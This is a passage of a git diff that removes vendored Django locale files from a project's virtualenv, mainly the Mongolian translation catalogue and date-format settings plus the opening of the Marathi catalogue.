%(field_labels)s already exists." -msgstr "%(field_labels)s талбар бүхий %(model_name)s аль хэдийн орсон байна." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "“%(name)s” хязгаарлалтыг зөрчсөн." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r буруу сонголт байна." - -msgid "This field cannot be null." -msgstr "Энэ хэсгийг хоосон орхиж болохгүй." - -msgid "This field cannot be blank." -msgstr "Энэ хэсэг хоосон байж болохгүй." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(field_label)s-тэй %(model_name)s-ийг аль хэдийнэ оруулсан байна." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s талбарт давхардахгүй байх хэрэгтэй %(date_field_label)s " -"%(lookup_type)s оруулна." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Талбарийн төрөл нь : %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "\"“%(value)s” утга True эсвэл False байх ёстой.\"" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” утга True, False, эсвэл None байх ёстой." - -msgid "Boolean (Either True or False)" -msgstr "Boolean (Үнэн худлын аль нэг нь)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Бичвэр (%(max_length)s хүртэл)" - -msgid "String (unlimited)" -msgstr "Тэмдэг мөр (хязгааргүй)" - -msgid "Comma-separated integers" -msgstr "Таслалаар тусгаарлагдсан бүхэл тоо" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” утга нь буруу огнооны форматтай байна. Энэ нь YYYY-MM-DD " -"форматтай байх ёстой." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s” утга зөв (YYYY-MM-DD) форматтай байна, гэхдээ буруу огноо байна." - -msgid "Date (without time)" -msgstr "Огноо (цаггүй)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"“%(value)s” утга буруу форматтай байна. Энэ нь YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ] форматтай байх ёстой." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"“%(value)s” утгын формат зөв байна (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) " -"гэхдээ буруу огноо/цаг байна." - -msgid "Date (with time)" -msgstr "Огноо (цагтай)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "“%(value)s” утга нь бодит тоо байх ёстой." - -msgid "Decimal number" -msgstr "Аравтын бутархайт тоо" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"“%(value)s” утга буруу форматтай байна. Энэ нь [DD] [[HH:]MM:]ss[.uuuuuu] " -"форматтай байх ёстой." - -msgid "Duration" -msgstr "Үргэлжлэх хугацаа" - -msgid "Email address" -msgstr "Имэйл хаяг" - -msgid "File path" -msgstr "Файлын зам " - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” бутархай тоон утга байх ёстой." - -msgid "Floating point number" -msgstr "Хөвөгч таслалтай тоо" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” утга нь бүхэл тоо байх ёстой." - -msgid "Integer" -msgstr "Бүхэл тоо" - -msgid "Big (8 byte) integer" -msgstr "Том (8 байт) бүхэл тоо" - -msgid "Small integer" -msgstr "Бага тоон утна" - -msgid "IPv4 address" -msgstr "IPv4 хаяг" - -msgid "IP address" -msgstr "IP хаяг" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "\"“%(value)s” утга нь None, True эсвэл False байх ёстой.\"" - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (Үнэн, худал, эсвэл юу ч биш)" - -msgid "Positive big integer" -msgstr "Эерэг том бүхэл тоо" - -msgid "Positive integer" -msgstr "Бүхэл тоох утга" - -msgid "Positive small integer" -msgstr "Бага бүхэл тоон утга" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Слаг (ихдээ %(max_length)s )" - -msgid "Text" -msgstr "Текст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” утга буруу форматтай байна. Энэ нь HH:MM[:ss[.uuuuuu]] форматтай " -"байх ёстой." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"“%(value)s” утга зөв форматтай байна (HH:MM[:ss[.uuuuuu]]) гэхдээ буруу цаг " -"байна." - -msgid "Time" -msgstr "Цаг" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Бинари өгөгдөл" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” нь хүчинтэй UUID биш." - -msgid "Universally unique identifier" -msgstr "UUID" - -msgid "File" -msgstr "Файл" - -msgid "Image" -msgstr "Зураг" - -msgid "A JSON object" -msgstr "JSON объект " - -msgid "Value must be valid JSON." -msgstr "JSON утга байх боломжтой." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "%(field)s %(value)r утгатай %(model)s байхгүй байна." - -msgid "Foreign Key (type determined by related field)" -msgstr "Гадаад түлхүүр (тодорхой төрлийн холбоос талбар)" - -msgid "One-to-one relationship" -msgstr "Нэг-нэг холбоос" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s холбоос" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s холбоосууд" - -msgid "Many-to-many relationship" -msgstr "Олон-олон холбоос" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Энэ талбарыг бөглөх шаардлагатай." - -msgid "Enter a whole number." -msgstr "Бүхэл тоон утга оруулна уу." - -msgid "Enter a valid date." -msgstr "Зөв огноо оруулна уу." - -msgid "Enter a valid time." -msgstr "Зөв цаг оруулна уу." - -msgid "Enter a valid date/time." -msgstr "Огноо/цаг-ыг зөв оруулна уу." - -msgid "Enter a valid duration." -msgstr "Үргэлжилэх хугацааг зөв оруулна уу." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Өдөрийн утга {min_days} ээс {max_days} ийн хооронд байх ёстой." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Файл оруулаагүй байна. Маягтаас кодлох төрлийг чагтал. " - -msgid "No file was submitted." -msgstr "Файл оруулаагүй байна." - -msgid "The submitted file is empty." -msgstr "Оруулсан файл хоосон байна. " - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[1] "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Нэг бол сонголтын чягтыг авах эсвэл файл оруулна уу. Зэрэг хэрэгжих " -"боломжгүй." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Зөв зураг оруулна уу. Таны оруулсан файл нэг бол зургийн файл биш эсвэл " -"гэмтсэн зураг байна." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Зөв сонголт хийнэ үү. %(value)s гэсэн сонголт байхгүй байна." - -msgid "Enter a list of values." -msgstr "Өгөгдхүүний жагсаалтаа оруулна уу." - -msgid "Enter a complete value." -msgstr "Бүрэн утга оруулна уу." - -msgid "Enter a valid UUID." -msgstr "Зөв UUID оруулна уу." - -msgid "Enter a valid JSON." -msgstr "JSON-ийн бүтцээр оруулна уу." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Нууц талбар%(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm-ын өгөгдөл дутуу эсвэл өөрчилсөн байна. Дутуу талбарууд: " -"%(field_names)s. Хэрэв асуудал хэвээр байвал та алдааны тайлан гаргах " -"шаардлагатай байж магадгүй." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Та хамгийн ихдээ %(num)d форм илгээнэ үү." -msgstr[1] "Та хамгийн ихдээ %(num)d форм илгээнэ үү." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Та хамгийн багадаа %(num)d форм илгээнэ үү." -msgstr[1] "Та хамгийн багадаа %(num)d форм илгээнэ үү." - -msgid "Order" -msgstr "Эрэмбэлэх" - -msgid "Delete" -msgstr "Устгах" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s хэсэг дэх давхардсан утгыг засварлана уу. " - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"%(field)s хэсэг дэх давхардсан утгыг засварлана уу. Түүний утгууд " -"давхардахгүй байх ёстой." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(field_name)s хэсэг дэх давхардсан утгыг засварлана уу. %(date_field)s-н " -"%(lookup)s хувьд давхардахгүй байх ёстой." - -msgid "Please correct the duplicate values below." -msgstr "Доорх давхардсан утгуудыг засна уу." - -msgid "The inline value did not match the parent instance." -msgstr "Inline утга эцэг обекттой таарахгүй байна." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Зөв сонголт хийнэ үү. Энэ утга сонголтонд алга." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” нь шаардлага хангаагүй утга байна." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s нь %(current_timezone)s цагийн бүсэд хөрвүүлэх боломжгүй байна; " -"энэ нь хоёрдмол утгатай эсвэл байхгүй байж болно." - -msgid "Clear" -msgstr "Цэвэрлэх" - -msgid "Currently" -msgstr "Одоогийн" - -msgid "Change" -msgstr "Засах" - -msgid "Unknown" -msgstr "Тодорхойгүй" - -msgid "Yes" -msgstr "Тийм" - -msgid "No" -msgstr "Үгүй" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "тийм,үгүй,магадгүй" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d байт" -msgstr[1] "%(size)d байт" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "шөнө дунд" - -msgid "noon" -msgstr "үд дунд" - -msgid "Monday" -msgstr "Даваа гариг" - -msgid "Tuesday" -msgstr "Мягмар гариг" - -msgid "Wednesday" -msgstr "Лхагва гариг" - -msgid "Thursday" -msgstr "Пүрэв гариг" - -msgid "Friday" -msgstr "Баасан гариг" - -msgid "Saturday" -msgstr "Бямба гариг" - -msgid "Sunday" -msgstr "Ням гариг" - -msgid "Mon" -msgstr "Дав" - -msgid "Tue" -msgstr "Мяг" - -msgid "Wed" -msgstr "Лха" - -msgid "Thu" -msgstr "Пүр" - -msgid "Fri" -msgstr "Баа" - -msgid "Sat" -msgstr "Бям" - -msgid "Sun" -msgstr "Ням" - -msgid "January" -msgstr "1-р сар" - -msgid "February" -msgstr "2-р сар" - -msgid "March" -msgstr "3-р сар" - -msgid "April" -msgstr "4-р сар" - -msgid "May" -msgstr "5-р сар" - -msgid "June" -msgstr "6-р сар" - -msgid "July" -msgstr "7-р сар" - -msgid "August" -msgstr "8-р сар" - -msgid "September" -msgstr "9-р сар" - -msgid "October" -msgstr "10-р сар" - -msgid "November" -msgstr "11-р сар" - -msgid "December" -msgstr "12-р сар" - -msgid "jan" -msgstr "1-р сар" - -msgid "feb" -msgstr "2-р сар" - -msgid "mar" -msgstr "3-р сар" - -msgid "apr" -msgstr "4-р сар" - -msgid "may" -msgstr "5-р сар" - -msgid "jun" -msgstr "6-р сар" - -msgid "jul" -msgstr "7-р сар" - -msgid "aug" -msgstr "8-р сар " - -msgid "sep" -msgstr "9-р сар" - -msgid "oct" -msgstr "10-р сар" - -msgid "nov" -msgstr "11-р сар" - -msgid "dec" -msgstr "12-р сар" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "1-р сар." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "2-р сар." - -msgctxt "abbrev. month" -msgid "March" -msgstr "3-р сар." - -msgctxt "abbrev. month" -msgid "April" -msgstr "4-р сар." - -msgctxt "abbrev. month" -msgid "May" -msgstr "5-р сар." - -msgctxt "abbrev. month" -msgid "June" -msgstr "6-р сар." - -msgctxt "abbrev. month" -msgid "July" -msgstr "7-р сар." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "8-р сар." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "9-р сар." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "10-р сар." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "11-р сар." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "12-р сар." - -msgctxt "alt. month" -msgid "January" -msgstr "Хулгана" - -msgctxt "alt. month" -msgid "February" -msgstr "Үхэр" - -msgctxt "alt. month" -msgid "March" -msgstr "Бар" - -msgctxt "alt. month" -msgid "April" -msgstr "Туулай" - -msgctxt "alt. month" -msgid "May" -msgstr "Луу" - -msgctxt "alt. month" -msgid "June" -msgstr "Могой" - -msgctxt "alt. month" -msgid "July" -msgstr "Морь" - -msgctxt "alt. month" -msgid "August" -msgstr "Хонь" - -msgctxt "alt. month" -msgid "September" -msgstr "Бич" - -msgctxt "alt. month" -msgid "October" -msgstr "Тахиа" - -msgctxt "alt. month" -msgid "November" -msgstr "Нохой" - -msgctxt "alt. month" -msgid "December" -msgstr "Гахай" - -msgid "This is not a valid IPv6 address." -msgstr "Энэ буруу IPv6 хаяг байна." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "буюу" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d жил" -msgstr[1] "%(num)d жил" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d сар" -msgstr[1] "%(num)d сар" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d долоо хоног" -msgstr[1] "%(num)d долоо хоног" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d өдөр" -msgstr[1] "%(num)d өдөр" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d цаг" -msgstr[1] "%(num)d цаг" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d минут" -msgstr[1] "%(num)d минут" - -msgid "Forbidden" -msgstr "Хориотой" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF дээр уналаа. Хүсэлт таслагдсан." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Та энэ мэдэгдлийг харж байгаа нь таны веб хөтөчөөс 'Referer header'-ийг " -"HTTPS хуудасд илгээх шаардлагатай байгаатай холбоотой. Энэ нь гуравдагч " -"этгээдээс хамгаалахын тулд шаардлагатай." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Хэрвээ та веб хөтөчөө 'Referer' толгойг идэвхигүй болгосон бол энэ хуудас, " -"HTTPS холболт эсвэл 'same-origin' хүсэлтэнд зориулж идэвхижүүлнэ үү." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Хэрвээ та таг ашиглаж " -"байгаа бол эсвэл 'Referrer-Policy: no-referrer' толгойг нэмсэн бол, " -"эдгээрийг устгана уу. CSRF хамгаалалт 'Referer' толгойг чанд шалгалт хийхийг " -"шаарддаг. Хэрвээ та аюулгүй байдлыг чухалчилж байгаа бол гуравдагч сайтыг " -"холбохдоо ашиглана уу." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Энэ хуудсанд форм илгээхийн тулд CSRF күүки шаардлагатай учир Та энэ " -"мэдэгдлийг харж байна. Энэ күүки нь гуравдагч этгээдээс хамгаалахын тулд " -"шаардлагатай." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Хэрвээ та веб хөтөчийн \"cookies\"-г хаасан бол энэ хуудас эсвэл 'same-" -"origin' хүсэлтэнд зориулж идэвхижүүлнэ үү." - -msgid "More information is available with DEBUG=True." -msgstr "DEBUG=True үед дэлгэрэнгүй мэдээлэл харах боломжтой." - -msgid "No year specified" -msgstr "Он тодорхойлоогүй байна" - -msgid "Date out of range" -msgstr "Хугацааны хязгаар хэтэрсэн байна" - -msgid "No month specified" -msgstr "Сар тодорхойлоогүй байна" - -msgid "No day specified" -msgstr "Өдөр тодорхойлоогүй байна" - -msgid "No week specified" -msgstr "Долоо хоног тодорхойлоогүй байна" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s боломжгүй" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(class_name)s.allow_future нь худлаа учраас %(verbose_name_plural)s нь " -"боломжгүй." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"Буруу огноо. '%(datestr)s' огноо '%(format)s' хэлбэрт тохирохгүй байна." - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Шүүлтүүрт таарах %(verbose_name)s олдсонгүй " - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Хуудас \"сүүлчийн\" биш бөгөөд үүнийг int болгон хувиргах боломжгүй." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Буруу хуудас (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Хоосон жагсаалт ба “%(class_name)s.allow_empty” нь False байна." - -msgid "Directory indexes are not allowed here." -msgstr "Файлын жагсаалтыг энд зөвшөөрөөгүй." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” хуудас байхгүй байна." - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s ийн жагсаалт" - -msgid "The install worked successfully! Congratulations!" -msgstr "Амжилттай суулгалаа! Баяр хүргэе!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Джанго %(version)s хувирбарын тэмдэглэл харах " - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Таний тохиргооны файл дээр DEBUG=TRUE гэж тохируулсан мөн URLs дээр тохиргоо " -"хийгээгүй учраас энэ хуудасыг харж байна." - -msgid "Django Documentation" -msgstr "Джанго баримтжуулалт" - -msgid "Topics, references, & how-to’s" -msgstr "Сэдэв, лавлахууд болон зааврууд" - -msgid "Tutorial: A Polling App" -msgstr "Хичээл: Санал асуулга App" - -msgid "Get started with Django" -msgstr "Джанготой ажиллаж эхлэх" - -msgid "Django Community" -msgstr "Django Бүлгэм" - -msgid "Connect, get help, or contribute" -msgstr "Холбогдох, тусламж авах эсвэл хувь нэмрээ оруулах" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mn/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/mn/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mn/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/mn/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 4841916a..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/mn/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mn/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/mn/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 7c43b282..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/mn/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mn/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/mn/formats.py deleted file mode 100644 index 589c24cf..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/mn/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "d F Y" -TIME_FORMAT = "g:i A" -# DATETIME_FORMAT = -# YEAR_MONTH_FORMAT = -# MONTH_DAY_FORMAT = -SHORT_DATE_FORMAT = "j M Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -# DECIMAL_SEPARATOR = -# THOUSAND_SEPARATOR = -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/mr/LC_MESSAGES/django.mo deleted file mode 100644 index 8cf9a708..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/mr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mr/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/mr/LC_MESSAGES/django.po deleted file mode 100644 index fe4c6ebb..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/mr/LC_MESSAGES/django.po +++ /dev/null @@ -1,1280 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Omkar Parab, 2024 -# Suraj Kawade, 2013 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2024-01-20 06:49+0000\n" -"Last-Translator: Omkar Parab, 2024\n" -"Language-Team: Marathi (http://app.transifex.com/django/django/language/" -"mr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: mr\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "अफ्रिकान्स" - -msgid "Arabic" -msgstr "अरेबिक" - -msgid "Algerian Arabic" -msgstr "अल्जेरियन अरेबिक" - -msgid "Asturian" -msgstr "अस्टूरियन" - -msgid "Azerbaijani" -msgstr "अझरबैजानी" - -msgid "Bulgarian" -msgstr "बल्गेरियन" - -msgid "Belarusian" -msgstr "बेलारशियन" - -msgid "Bengali" -msgstr "बंगाली" - -msgid "Breton" -msgstr "ब्रेटन" - -msgid "Bosnian" -msgstr "बोस्नियन" - -msgid "Catalan" -msgstr "कॅटलान" - -msgid "Central Kurdish (Sorani)" -msgstr "मध्य कुर्दिश (सोरानी)" - -msgid "Czech" -msgstr "झेक" - -msgid "Welsh" -msgstr "वेल्श" - -msgid "Danish" -msgstr "डॅनिश" - -msgid "German" -msgstr "जर्मन" - -msgid "Lower Sorbian" -msgstr "लोअर सोर्बियन" - -msgid "Greek" -msgstr "ग्रीक" - -msgid "English" -msgstr "इंग्रजी" - -msgid "Australian English" -msgstr "ऑस्ट्रेलियन इंग्रजी" - -msgid "British English" -msgstr "ब्रिटिश इंग्रजी" - -msgid "Esperanto" -msgstr "एस्पेरॅन्टो" - -msgid "Spanish" -msgstr "स्पॅनिश " - -msgid "Argentinian Spanish" -msgstr "अर्जेन्टिनाची स्पॅनिश" - -msgid "Colombian Spanish" -msgstr "कोलंबियन स्पॅनिश" - -msgid "Mexican Spanish" -msgstr "मेक्सिकन स्पॅनिश" - -msgid "Nicaraguan Spanish" -msgstr "निकारागुआन स्पॅनिश" - -msgid "Venezuelan Spanish" -msgstr "व्हेनेझुएलन स्पॅनिश" - -msgid "Estonian" -msgstr "एस्टोनियन" - -msgid "Basque" -msgstr "बास्क" - -msgid "Persian" -msgstr "पर्शियन" - -msgid "Finnish" -msgstr "फिनिश" - -msgid "French" -msgstr "फ्रेंच" - -msgid "Frisian" -msgstr "फ्रिसियन" - -msgid "Irish" -msgstr "आयरिश" - -msgid "Scottish Gaelic" -msgstr "स्कॉटिश गेलिक" - -msgid "Galician" -msgstr "गॅलिशियन" - -msgid "Hebrew" -msgstr "हिब्रू" - -msgid "Hindi" -msgstr "हिंदी" - -msgid "Croatian" -msgstr "क्रोएशियन" - -msgid "Upper Sorbian" -msgstr "अप्पर सोर्बियन" - -msgid "Hungarian" -msgstr "हंगेरियन" - -msgid "Armenian" -msgstr "अर्मेनियन" - -msgid "Interlingua" -msgstr "इंटरलिंगुआ" - -msgid "Indonesian" -msgstr "इंडोनेशियन" - -msgid "Igbo" -msgstr "इग्बो" - -msgid "Ido" -msgstr "इदो" - -msgid "Icelandic" -msgstr "आयलँडिक" - -msgid "Italian" -msgstr "इटालियन" - -msgid "Japanese" -msgstr "जपानी" - -msgid "Georgian" -msgstr "जॉर्जियन" - -msgid "Kabyle" -msgstr "कबायल" - -msgid "Kazakh" -msgstr "कझाक" - -msgid "Khmer" -msgstr "ख्मेर" - -msgid "Kannada" -msgstr "कन्नड" - -msgid "Korean" -msgstr "कोरियन" - -msgid "Kyrgyz" -msgstr "किर्गिझ" - -msgid "Luxembourgish" -msgstr "लक्झेंबर्गिश" - -msgid "Lithuanian" -msgstr "लिथुआनियन" - -msgid "Latvian" -msgstr "लाटव्हिअन" - -msgid "Macedonian" -msgstr "मॅसेडोनिअन" - -msgid "Malayalam" -msgstr "मल्याळम" - -msgid "Mongolian" -msgstr "मंगोलियन" - -msgid "Marathi" -msgstr "मराठी" - -msgid "Malay" -msgstr "मलय" - -msgid "Burmese" -msgstr "बर्मीस" - -msgid "Norwegian Bokmål" -msgstr "नॉर्वेजियन बोकमाल" - -msgid "Nepali" -msgstr "नेपाळी" - -msgid "Dutch" -msgstr "डच" - -msgid "Norwegian Nynorsk" -msgstr "नॉर्वेजिअन निनॉर्स्क " - -msgid "Ossetic" -msgstr "ओस्सेटिक" - -msgid "Punjabi" -msgstr "पंजाबी" - -msgid "Polish" -msgstr "पॉलिश" - -msgid "Portuguese" -msgstr "पोर्तुगीज" - -msgid "Brazilian Portuguese" -msgstr "ब्रझिलियन पोर्तुगीज" - -msgid "Romanian" -msgstr "रोमेनियन" - -msgid "Russian" -msgstr "रशियन" - -msgid "Slovak" -msgstr "स्लोवाक" - -msgid "Slovenian" -msgstr "स्लोवेनियन" - -msgid "Albanian" -msgstr "अल्बेनियन" - -msgid "Serbian" -msgstr "सर्बियन" - -msgid "Serbian Latin" -msgstr "सर्बियन लॅटिन" - -msgid "Swedish" -msgstr "स्वीडिश" - -msgid "Swahili" -msgstr "स्वाहिली" - -msgid "Tamil" -msgstr "तमिळ" - -msgid "Telugu" -msgstr "तेलुगु" - -msgid "Tajik" -msgstr "ताजिक" - -msgid "Thai" -msgstr "थाई" - -msgid "Turkmen" -msgstr "तुर्कमेन" - -msgid "Turkish" -msgstr "तुर्की" - -msgid "Tatar" -msgstr "टाटर" - -msgid "Udmurt" -msgstr "उदमर्त" - -msgid "Uyghur" -msgstr "उईघुर" - -msgid "Ukrainian" -msgstr "युक्रेनियन" - -msgid "Urdu" -msgstr "उर्दू" - -msgid "Uzbek" -msgstr "उझबेक" - -msgid "Vietnamese" -msgstr "व्हिएतनामी" - -msgid "Simplified Chinese" -msgstr "सोपी चायनिज" - -msgid "Traditional Chinese" -msgstr "पारंपारिक चायनिज" - -msgid "Messages" -msgstr "संदेश" - -msgid "Site Maps" -msgstr "संकेतस्थळ नकाशे" - -msgid "Static Files" 